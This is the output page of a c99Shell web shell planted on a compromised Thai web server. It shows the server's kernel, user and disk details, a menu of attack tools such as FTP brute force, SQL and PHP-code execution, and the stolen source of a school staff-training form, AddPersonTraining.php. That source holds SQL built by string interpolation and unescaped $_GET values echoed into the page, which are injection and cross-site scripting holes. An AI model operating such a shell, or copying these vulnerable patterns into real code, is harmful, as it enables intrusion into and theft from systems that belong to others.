!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Dev/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddPersonTraining.php (36.84 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "training_tb";
        
        
$myTable2PK "Training_code";
        
        
/**  Table  -->  personal_tb  */
        
$query1 " SELECT *  FROM $myTable1  WHERE   Teacher_code ='$Teacher_code' ";
         
$result1 $dbObj->execQuery($query1);
         
$rss $dbObj->fetchArray($result1);
        
$Teacher_code $rss['Teacher_code'];
        
        
/**  Table  -->  training_tb  */
        
$query " SELECT *  FROM $myTable2  WHERE $myTable2PK='$Training_code' ";
        
$result $dbObj->execQuery($query);
        
$rs $dbObj->fetchArray($result);

        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
    if( ( formObj.Training_name.value == "" ) && ( formObj.Day.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Day.focus();    return false; }
     if(formObj.Training_name.value == "" ) { alert("กรุณากรอก  ชื่อเรื่อง"); formObj.Training_name.style.backgroundColor='#F1F9FC'; formObj.Training_name.focus(); return false;} 
     if(formObj.Day.value == "" ) { alert("กรุณากรอก  จำนวนวัน"); formObj.Day.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false;} 
     if(formObj.Organiz.value == "" ) { alert("กรุณากรอก  หน่วยงานที่จัด"); formObj.Organiz.style.backgroundColor='#F1F9FC'; formObj.Organiz.focus(); return false;} 
      if(formObj.CNEU.value == "" ) { alert("กรุณากรอก  สถานที่"); formObj.CNEU.style.backgroundColor='#F1F9FC'; formObj.CNEU.focus(); return false;} 
    else return true ;
}
</script>
<script language="javascript">
//-->

function enableDropdown(){
        var form = document.form1;
        
        if(form.Teachbox1.checked){
            form.Teacher_code1.disabled = false;
        }
        else{
            form.Teacher_code1.disabled = true;
        }
        
        if(form.Teachbox2.checked){
            form.Teacher_code2.disabled = false;
        }
        else{
            form.Teacher_code2.disabled = true;
        }
        
        if(form.Teachbox3.checked){
            form.Teacher_code3.disabled = false;
        }
        else{
            form.Teacher_code3.disabled = true;
        }
        
        if(form.Teachbox4.checked){
            form.Teacher_code4.disabled = false;
        }
        else{
            form.Teacher_code4.disabled = true;
        }
        
        if(form.Teachbox5.checked){
            form.Teacher_code5.disabled = false;
        }
        else{
            form.Teacher_code5.disabled = true;
        }
        
        if(form.Teachbox6.checked){
            form.Teacher_code6.disabled = false;
        }
        else{
            form.Teacher_code6.disabled = true;
        }
        if(form.Teachbox7.checked){
            form.Teacher_code7.disabled = false;
        }
        else{
            form.Teacher_code7.disabled = true;
        }
        if(form.Teachbox8.checked){
            form.Teacher_code8.disabled = false;
        }
        else{
            form.Teacher_code8.disabled = true;
        }
        if(form.Teachbox9.checked){
            form.Teacher_code9.disabled = false;
        }
        else{
            form.Teacher_code9.disabled = true;
        }
        
        if(form.Teachbox10.checked){
            form.Teacher_code10.disabled = false;
        }
        else{
            form.Teacher_code10.disabled = true;
        }
        
        if(form.Teachbox11.checked){
            form.Teacher_code11.disabled = false;
        }
        else{
            form.Teacher_code11.disabled = true;
        }
        
        if(form.Teachbox12.checked){
            form.Teacher_code12.disabled = false;
        }
        else{
            form.Teacher_code12.disabled = true;
        }
        
        if(form.Teachbox13.checked){
            form.Teacher_code13.disabled = false;
        }
        else{
            form.Teacher_code13.disabled = true;
        }
        
        if(form.Teachbox14.checked){
            form.Teacher_code14.disabled = false;
        }
        else{
            form.Teacher_code14.disabled = true;
        }
        if(form.Teachbox15.checked){
            form.Teacher_code15.disabled = false;
        }
        else{
            form.Teacher_code15.disabled = true;
        }
        if(form.Teachbox16.checked){
            form.Teacher_code16.disabled = false;
        }
        else{
            form.Teacher_code16.disabled = true;
        }
}
</script>

<title>ข้อมูลทั่วไปบุคลากร - ข้อมูลการพัฒนาบุคลากร - เพิ่มข้อมูลประวัติการพัฒนาตนเอง</title>
<style type="text/css">
<!--
.style5 {font-size: 14px}
-->
</style>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="form1" name="form1" method="post" action="InsertTrainingPerson.php" onSubmit="return checkData();">
      <tr>
        <td height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <span class="NOTE">บันทึกข้อมูลประวัติการพัฒนารายกลุ่ม</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="150" align="center"><table width="100%" border="0" align="center" cellpadding="1" cellspacing="1" style="border:0px solid gray">
                      
                      <tr bgcolor="#EEEEEE">
                        <td height="20" colspan="3" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><table width="52%" height="232" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#eeeeee" style="border:0px solid gray">
                          <tr bgcolor="#EEEEEE">
                            <td width="7%" height="22" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 1</font></td>
                            <td width="93%" bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <label></label>
                              <input name="Teachbox1" type="checkbox" id="Teachbox1" onclick="enableDropdown()" />
                              <select name="Teacher_code1" id="Teacher_code1" class="input1"  disabled="disabled"/>
                              
                              <?php
           $strSQL2 
"SELECT * FROM   personal_tb    Where  StatusId ='1'     Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 2</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox2" type="checkbox" id="Teachbox2" value="checkbox"  onclick="enableDropdown()"/>
                              <select name="Teacher_code2" id="Teacher_code2" class="input1"  disabled="disabled" />
                           
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'  Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 3</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox3" type="checkbox" id="Teachbox3" value="checkbox"  onclick="enableDropdown()"/>
                              <select name="Teacher_code3" id="Teacher_code3" class="input1"  disabled="disabled" />
                           
                              <?php
           $strSQL2 
"SELECT * FROM  personal_tb   Where  StatusId ='1'  Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 4</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox4" type="checkbox" id="Teachbox4" value="checkbox"  onclick="enableDropdown()"/>
                              <select name="Teacher_code4" id="Teacher_code4" class="input1" disabled="disabled" />
                            
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma">5</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox5" type="checkbox" id="Teachbox5" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code5" id="Teacher_code5" class="input1" disabled="disabled" />
                          
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma">6</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox6" type="checkbox" id="Teachbox6" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code6" id="Teacher_code6" class="input1" disabled="disabled" />
                     
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb   Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF"><font face="Tahoma"> 7</font></td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox7" type="checkbox" id="Teachbox7" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code7" id="Teacher_code7" class="input1" disabled="disabled" />
                           
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">8 </td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox8" type="checkbox" id="Teachbox8" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code8" id="Teacher_code8" class="input1" disabled="disabled" />
                        
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">9</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox9" type="checkbox" id="Teachbox9" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code9" id="Teacher_code9" class="input1" disabled="disabled" />
                            
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">10</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox10" type="checkbox" id="Teachbox10" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code10" id="Teacher_code10" class="input1" disabled="disabled" />
                           
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">11</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox11" type="checkbox" id="Teachbox11" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code11" id="Teacher_code11" class="input1" disabled="disabled" />
                             
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">12</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox12" type="checkbox" id="Teachbox12" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code12" id="Teacher_code12" class="input1" disabled="disabled" />
                           
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">13</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox13" type="checkbox" id="Teachbox13" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code13" id="Teacher_code13" class="input1" disabled="disabled" />
                             
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">14</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox14" type="checkbox" id="Teachbox14" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code14" id="Teacher_code14" class="input1" disabled="disabled" />
                            
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">15</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox15" type="checkbox" id="Teachbox15" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code15" id="Teacher_code15" class="input1" disabled="disabled" />
                            
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                          <tr bgcolor="#EEEEEE">
                            <td height="25" align="right" bgcolor="#FFFFFF">16</td>
                            <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma">
                              <input name="Teachbox16" type="checkbox" id="Teachbox16" value="checkbox" onclick="enableDropdown()" />
                              <select name="Teacher_code16" id="Teacher_code16" class="input1" disabled="disabled" />
                            
                              <?php
           $strSQL2 
"SELECT * FROM personal_tb  Where  StatusId ='1'   Order by Teacher_name ";
           
$result2 mysql_query($strSQL2);
                 while( 
$rs2 mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rs2[Teacher_code]\" ><b>$rs2[Teacher_name]&nbsp;$rs2[Teacher_lastname]</b></option>\n";
                }
                                
          
?>
                              </select>
                            </font></strong></td>
                          </tr>
                        </table></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="18" align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td align="center" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="style1">วันที่</span> <span class="style5">*</span></td>
                        <td align="center" valign="top" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><select name="mDate" id="mDate" class="select" >
                            <? getDay1to31();?>
                          </select>
เดือน
<select name="mMonth" id="mMonth" class="select" >
  <? getThaiMonth();?>
</select>
ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
<select name="mYear" id="mYear">
  <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-2;
                
$next_year $curr_year+3;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
  <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
  <?=$i;?>
  </option>
  <?php
                
# for
            
?>
</select>
</font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="27%" height="22" align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> เรื่อง</td>
                        <td width="1%" align="center" valign="top" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td width="72%" bgcolor="#FFFFFF"><label><font color="#0000FF" size="2" face="Tahoma">
                        <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$_GET['Training_name'];?>" size="80" />
                        </font>                        </label></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">สาขาวิชา</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma">
                        <input name="Major" type="text" id="Major" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$_GET['Major'];?>" size="40" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td rowspan="2" align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ประเภทโครงการ</td>
                        <td height="20" align="center" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><label>
                          <input name="Training_std" type="radio" value="Y" checked="checked" />
                          <font size="2" face="Tahoma">พัฒนาตามนโยบา</font>ย
                          <input name="Training_std" type="radio" value="N" />
                          <font size="2" face="Tahoma">พัฒนาตามความต้องการของตนเอง</font></label></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="20" align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><input type="radio" name="Training_type" value="1" />
                          การอบรม
                            <input type="radio" name="Training_type" value="2" />
                          การศึกษาดูงาน
                          <input type="radio" name="Training_type" value="3"  checked="checked" />
                          ประชุม
                          <input type="radio" name="Training_type" value="4" />
                          สัมมนา 
                          <input type="radio" name="Training_type" value="7" />
                          วิทยากร 
                          <input type="radio" name="Training_type" value="6" />
                          นิเทศงาน</td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
                        <td align="center" bgcolor="#FFFFFF">:</td>
                        <td bgcolor="#FFFFFF"><input type="radio" name="Place" value="ในประเทศ " />
                          <span class="TEXT-DARK-BLUE10">ในประเทศ
                            <input type="radio" name="Place" value="ต่างประเทศ" />
                            ต่างประเทศ</span></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><span class="TEXT-RED10">*</span> ปี งบประมาณ</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><span class="PADDING-LEFT-10"><font color="#0000FF" size="2" face="Tahoma">
                        <select name="Year_std" id="Year_std">
                          <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-3;
                
$next_year $curr_year+5;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                          <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                            <?=$i;?>
                          </option>
                          <?php
                
# for
            
?>
                        </select>
                        </font></span></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วันที่เริ่มต้น</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><select name="mDate" id="mDate" class="select" >
                          <? getDay1to31();?>
                        </select>
                          เดือน
                          <select name="mMonth" id="mMonth" class="select" >
                            <? getThaiMonth();?>
                          </select>
                          ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
                            <select name="mYear" id="mYear">
                              <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-3;
                
$next_year $curr_year+5;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                              <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                                <?=$i;?>
                              </option>
                              <?php
                
# for
            
?>
                            </select>
                          </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วันทสิ้นสุด</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><select name="mDate1" id="mDate1" class="select" >
                          <? getDay1to31();?>
                        </select>
                          เดือน
                          <select name="mMonth1" id="mMonth1" class="select" >
                            <? getThaiMonth();?>
                          </select>
                          ปี พ.ศ. </font><font color="#0000FF" size="2" face="Tahoma">
                            <select name="mYear1" id="mYear1">
                              <?php
                $curr_year 
date("Y")+543
                
$prev_year $curr_year-3;
                
$next_year $curr_year+5;
                
                for( 
$i=$prev_year$i<=$next_year$i++ ) { 
                
?>
                              <option value="<?=$i;?><?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'?>>
                                <?=$i;?>
                              </option>
                              <?php
                
# for
            
?>
                            </select>
                          (ไม่รวมวันเดินทาง)</font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">จำนวนวัน</td>
                        <td align="center" bgcolor="#FFFFFF">:</td>
                        <td bgcolor="#FFFFFF"><input name="Day" type="text" style="text-align:center" id="Day" size="2" onkeypress="checkNumeric()" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">จำนวนชั่วโมง</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><input name="Total_hour" type="text" style="text-align:center" id="Total_hour" size="5" onkeypress="checkNumeric()" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">จำนวนเงินสนับสนุน</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><input name="Budget_use" type="text" style="text-align:center" id="Budget_use" size="10" onkeypress="checkNumeric()" />
                        <span class="TEXT-DARK-BLUE10">&nbsp; แหล่งเงินสนับสนุน</span><font color="#0000FF" size="2" face="Tahoma">
                        <input name="Fund_resource" type="text" id="Fund_resource" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$_GET['Fund_resource'];?>" size="40" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">หน่วยงานที่จัด</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma">
                        <input name="Organiz" type="text" id="Organiz" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$_GET['Organiz'];?>" size="50" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">สถานที่จัด</td>
                        <td align="center" bgcolor="#FFFFFF"><span class="TEXT-DARK-BLUE10">:</span></td>
                        <td bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma">
                        <input name="CNEU" type="text" id="CNEU" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$_GET['CNEU'];?>" size="50" />
                        </font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">การประยุกต์นำไปใช้งาน</td>
                        <td align="center" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">:</td>
